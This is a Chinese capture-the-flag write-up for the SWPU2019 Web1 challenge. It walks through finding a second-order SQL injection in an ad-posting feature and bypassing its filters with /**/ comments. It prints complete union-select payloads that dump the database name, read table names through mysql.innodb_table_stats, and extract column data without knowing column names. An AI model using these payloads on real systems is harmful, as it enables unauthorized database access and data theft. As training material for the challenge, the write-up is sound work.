当前位置: 首页 > news >正文

[SWPU2019]Web1 超详细教程

老规矩先看源码,没找到啥提示,后面就是登录口对抗

弱口令试了几个不行,就注册了个账户登录进去

可以发布广告,能造成xss,但是没啥用啊感觉

查看广告信息的时候,注意到url当中存在id参数,可能存在sql注入

这里虽然显示待确认,但是既然我可以看到数据,那么说明它必然已经存在数据库里了

但是我手测了几个,' " + / *  and or ,没发现明显的可注入点,可能是做了严格的过滤

停下来整理一下思路,前面那个存储框除了xss以外还有sql二次注入的可能,但是xss一般在ctf中没啥利用点,所以思路转向验证sql二次注入

新建一个广告,我故意把文件名命名和之前的重复,看他会不会去查询

正和我意,说明它去数据库里查了已有的广告名称

去试试

做了过滤,这也恰恰说明这里大概率有货,就是怎么去绕过呢

新建一个广告

这里在创建的时候没报错,我以为没了呢,但是查看详情的时候发现报错了

您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行的 ''1'' limit 0,1' 附近使用的正确语法

从这里我们就可以得到有用的信息了,"包裹,mariadb数据库

但是空格好像被过滤了,会提示敏感词汇

# 也被过滤了

不明白他这里为啥上面提示是双引号,但是后面给双引号又提示是单引号

后面试了单引号可以

构造的轮子:-1'/**/union/**/select/**/1,2,'3,

提示列数不匹配

到这里才完全确定存在注入,后面就是轮子的变形

一直加到22列才不报错,注入点是2,3位

poc:

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆出库名

这里还要注意的一点是,在注入的时候要把前面的第一个参数改为不存在的id,比如:-1,否则后面的即使查出来了也不会显示的,因为只会输出一行,注意注意,我一开始搞忘了

再爆破表名

-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
 

无字段名称去爆破字段内容,爆破表里的所有列的内容,*

-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
 

拿到flag

flag{5609c556-36e6-4073-886d-5301375da629}

总结:联合注入注意第一个参数是否存在影响结果展示

sql注入功能点的发现,只要是展示数据了,就有可能存在注入

注入要先判断有没有,再去构造轮子,联合注入要先判断列数,同时注意绕过替换

http://www.lryc.cn/news/435862.html

相关文章:

  • 【区块链通用服务平台及组件】基于向量数据库与 LLM 的智能合约 Copilot
  • mfc140u.dll丢失有啥方法能够进行修复?分享几种mfc140u.dll丢失的解决办法
  • 【PyQt6 应用程序】在用户登录界面实现密码密文保存复用
  • 赋能百业:多模态处理技术与大模型架构下的AI解决方案落地实践
  • 游戏论坛网站|基于Springboot+vue的游戏论坛网站系统游戏分享网站(源码+数据库+文档)
  • 【go】pprof 性能分析
  • Python | Leetcode Python题解之第397题整数替换
  • JDBC使用
  • 633. 平方数之和-LeetCode(C++)
  • Linux shell编程学习笔记79:cpio命令——文件和目录归档工具(下)
  • 《 C++ 修炼全景指南:七 》优先级队列在行动:解密 C++ priority_queue 的实现与应用
  • 通信工程学习:什么是HSS归属用户服务器
  • mysql workbench 如何访问远程数据库
  • ICMAN触摸感应芯片方案
  • 面向个小微型企业的开源大模型(Qwen2等)商业化, AI部署成本分析与优化策略(费用分析、资源消耗分析)
  • pandas判断一列中存在nan值
  • 如何将 Electron 项目上架 Apple Store
  • R语言统计分析——功效分析2(t检验,ANOVA)
  • android 侧滑返回上一界面备忘
  • golang学习笔记18——golang 访问 mysql 数据库全解析
  • 苹果账号登录后端验证两种方式 python2
  • FlinkCDC 3.2.0 新增优点 Pattern Replacement in routing rules
  • 《 C++ 修炼全景指南:六 》深入探索 C++ 标准库中的 stack 与 queue 容器适配器
  • 高级java每日一道面试题-2024年9月07日-JVM篇-说一下类加载的执行过程?
  • 笔试强训day09
  • 软件测试中的黑盒测试方法,包括其定义、目的及主要步骤。
  • Shell脚本计算π的近似值
  • 进程间通信之消息队列
  • 人生苦短我用Python 5-xlwings自动调整表格
  • 移动跨平台框架Flutter详细介绍和学习线路分享